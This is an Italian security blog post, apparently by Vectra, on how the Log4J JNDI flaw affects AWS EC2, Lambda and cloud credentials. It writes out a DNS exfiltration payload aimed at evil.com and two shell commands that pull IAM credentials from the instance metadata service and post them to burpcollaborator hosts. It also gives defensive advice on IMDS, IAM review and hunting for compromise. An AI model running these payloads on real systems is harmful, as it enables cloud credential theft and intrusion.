Cosa significa Log4J per gli ambienti cloud ?
A meno che non abbiate vissuto beatamente sotto una roccia, nelle ultime due settimane la sicurezza e la tecnologia sono state occupate da una grave vulnerabilità della libreria Java Log4J. La vulnerabilità di Log4J JNDI non è tanto una singola vulnerabilità quanto piuttosto una piattaforma per lanciare attacchi tramite l'esecuzione di codice remoto.
A questo punto, i soccorritori, gli analisti e gli ingegneri stanno lavorando alle seguenti fasi di intervento sulle rapide
- Identificare i sistemi interessati e distribuire le patch
- Credenziali rotanti
- Alla ricerca di indicatori di compromesso
Questo post affronta la terza fase della risposta, la ricerca di indicatori di compromissione e la comprensione dell'impatto potenziale di una libreria Log4J vulnerabile, in particolare se distribuita in un ambiente cloud pubblico. Questo si aggiunge alle altre dichiarazioni di Vectra sull'argomento relative alle reti on-premise.
Come possono gli aggressori sfruttare la vulnerabilità di Log4J?
Log4J è fondamentalmente una vulnerabilità a iniezione con due vie di sfruttamento del sistema.
1. Esecuzione di codice remoto tramite un file di classe Java esterno
- Con la vulnerabilità di iniezione nel framework di logging Log4J, è possibile indurre un server vittima a effettuare una richiesta HTTP a un server remoto in cui il server vittima si aspetta di ricevere un file di classe Java.
- Quando l'aggressore controlla il server esterno, controlla anche il contenuto restituito alla vittima nella risposta. In questo caso, è possibile inviare al server della vittima codice arbitrario, incorporato in un file di classe Java, che verrà eseguito dal server della vittima.
2. Esfiltrazione di dati tramite ricerca DNS
- Il server vittima viene indotto a eseguire una query in uscita verso un server esterno a causa di una vulnerabilità di iniezione. Poiché l'attaccante controlla l'hostname del server esterno, questo diventa un meccanismo per far trapelare il valore delle variabili d'ambiente.
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
In che modo la vulnerabilità di Log4J ha un impatto unico sulle implementazioni cloud ?
È stato ampiamente riportato e riconosciuto che con una libreria Log4J vulnerabile su un sistema, un utente malintenzionato avrebbe la possibilità di recuperare il valore di qualsiasi variabile d'ambiente attraverso l'esfiltrazione dei dati tramite il meccanismo di ricerca DNS. Sono state diffuse variabili AWS comuni contenenti segreti, con l'aspettativa che queste variabili specifiche di AWS possano essere comunemente presenti negli ambienti cloud .
Tuttavia, l'assegnazione di segreti alle variabili d'ambiente è una pratica scorretta e non è probabile che venga riscontrata sulla più grande superficie di attacco di AWS, l'istanza EC2.
È probabile che le variabili d'ambiente specifiche di AWS siano impostate sugli endpoint - postazioni di lavoro in cui l'awscli è stato configurato da un utente finale e nelle funzioni lambda in cui le variabili 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY' e 'AWS_SESSION_TOKEN' sono preconfigurate dal runtime.
Le variabili d'ambiente specifiche di AWS NON si trovano verosimilmente sulle istanze EC2. Invece, le applicazioni in esecuzione sulle istanze EC2 di AWS utilizzeranno le credenziali temporanee del profilo dell'istanza EC2 assegnato all'istanza EC2. Queste credenziali temporanee sono emesse da un endpoint HTTP interno chiamato Instance Metadata Service (IMDS). Pertanto, è possibile utilizzare la vulnerabilità di Log4J per estrarre queste credenziali da un'istanza EC2.
Utilizzo dell'esecuzione di codice remoto per estrarre le credenziali dei metadati dell'istanza
Sfruttando il coltellino svizzero della vulnerabilità Log4J, un malintenzionato potrebbe estrarre le credenziali di sessione temporanee da un'istanza EC2 e agire contro le vostre risorse AWS.
Esempio di possibile percorso di attacco con payload
1. Iniettare il payload JNDI che istruisce la vittima EC2 a interrogare l'API dei metadati dell'istanza interna per il ruolo IAM come EC2, salvare il nome del ruolo in un file e rinviare all'endpoint controllato dall'aggressore.
- Primo payload consegnato alle istanze EC2 che eseguono IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2. Con il nome del ruolo, iniettare un altro payload JNDI che istruisca la vittima EC2 a interrogare l'API dei metadati dell'istanza interna per ottenere un token di sessione temporaneo, salvare il token in un file e inviare il contenuto del file all'endpoint controllato dall'aggressore.
- Secondo payload da consegnare alle istanze EC2 che eseguono IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3. È possibile inviare un payload JNDI finale che indica alla vittima EC2 di rimuovere i file temporanei creati nelle due iniezioni precedenti.
Il token di sessione estratto avrebbe un TTL predefinito di 1 ora. Un utente malintenzionato potrebbe utilizzare questo tempo per eseguire azioni sulle risorse AWS come se fossero l'istanza EC2, magari eseguendo anche tecniche di persistenza come la creazione di nuovi utenti o ruoli. L'impatto dipende interamente dalle autorizzazioni assegnate all'istanza EC2.
Varianti all'estrazione delle credenziali IMDS tramite Log4J
I metodi potenziali per estrarre le credenziali dal servizio di metadati dell'istanza su un'istanza EC2 sono vasti e vari. Un aggressore può utilizzare qualsiasi variante di un payload che utilizza HTTP per interrogare il servizio interno e recuperare le credenziali. Un payload potrebbe essere fornito in 2 fasi come descritto sopra o condensato in un'unica fase. Potrebbe essere fornito un payload che memorizza le risposte del servizio di metadati di istanza in variabili d'ambiente, dove il valore della variabile d'ambiente viene estratto tramite un'iniezione JNDI secondaria. L'unica firma coerente tra tutte le possibili varianti è la necessità di effettuare una richiesta HTTP al servizio di metadati di istanza in esecuzione sull'istanza EC2.
IMDSv1 contro IMDSv2
In risposta al dilagante sfruttamento del servizio di metadati di istanza EC2, nel 2019 AWS ha annunciato una v2 del servizio, IMDSv2. IMDSv2 richiede l'esecuzione di due chiamate HTTP al servizio interno di metadati di istanza EC2, con la risposta della prima chiamata utilizzata come input per la seconda chiamata al fine di recuperare le credenziali di sessione temporanee, creando di fatto un servizio di metadati di istanza basato sulla sessione. L'applicazione di IMDSv2 è una strategia critica di difesa in profondità per la protezione contro le vulnerabilità delle applicazioni Web come SSRF, che spesso possono portare all'esposizione delle credenziali EC2. Tuttavia, in particolare per quanto riguarda lo sfruttamento della vulnerabilità Log4J, un utente malintenzionato può eseguire comandi arbitrari sull'istanza EC2 vittima; di conseguenza, IMDSv2 non offre alcuna protezione contro l'estrazione di credenziali temporanee tramite il servizio di metadati dell'istanza.
Come si può difendere il proprio footprint EC2?
Al di là dell'identificazione e della correzione della libreria Log4J vulnerabile, cosa possono fare i proprietari dei sistemi?
1. Limitare il raggio di esplosione di qualsiasi potenziale compromesso.
- Disattivare l'endpoint HTTP del servizio di metadati dell'istanza e non assegnare ruoli di istanze EC2 dove non sono necessari.
- Esaminare le policy e i permessi collegati a tutte le risorse Cloud (istanze EC2, funzioni Lambda, container, ecc.). Descrivete le autorizzazioni assegnate, prestando particolare attenzione alle autorizzazioni IAM che potrebbero essere utilizzate come meccanismo di persistenza.
- Continuate a seguire le raccomandazioni che prevedono l'ispezione delle variabili di ambiente sui sistemi e la rotazione delle credenziali. Tenete presente, tuttavia, che queste raccomandazioni non sono sufficienti se un utente malintenzionato utilizza il proprio accesso per interrogare direttamente l'API interna dei metadati per ottenere le credenziali.
2. Identificare eventuali modifiche non autorizzate all'ambiente.
- Quando si va a caccia di indicatori di compromissione, è necessario esaminare la proprietà AWS per individuare eventuali nuove risorse IAM create, come nuovi utenti, ruoli o politiche di fiducia.
Alcune riflessioni finali
L'attacco all'API dei metadati delle istanze EC2 non è una novità. L'abuso di questo servizio è stato descritto dai ricercatori da quando esistono ricercatori sulla sicurezza cloud . Non si tratta di un "nuovo bug", ma piuttosto di una nuova articolazione dell'impatto della vulnerabilità Log4J sul cloud computing. Sebbene questo post sia stato dedicato specificamente alla minaccia contro un ambiente AWS, tutti gli stessi principi valgono per qualsiasi ambiente GCP o Azure.
Testare gli exploit di Log4J su AWS
Nell'ambito di questa ricerca, ho sviluppato una sandbox Log4J. Questa sandbox include un'istanza EC2 con il server JNDI Expoit originale del ricercatore feihong e un'applicazione vulnerabile basata su Java fornita da @christophetd. Ho reso pubblicamente disponibile questa sandbox e il Terraform per il deploy in AWS, per aiutare i futuri ricercatori ad avvicinarsi più velocemente a Log4J o per utilizzarla come strumento di formazione nelle loro organizzazioni.
Ringraziamenti speciali
Un grande applauso a @christophetd per aver pubblicato un'applicazione docker Log4J vulnerabile. Ho usato la sua applicazione vulnerabile nei miei test e l'ho inserita nel mio deployment Terraform di una Log4J Testing Sandbox.
Rimanete sintonizzati per un blog di approfondimento su come il rilevamento continuo delle minacce può impedire che la compromissione iniziale degli aggressori progredisca nel vostro footprint AWS e su come Detect for AWS di Vectra sia in grado di fornire tali risultati.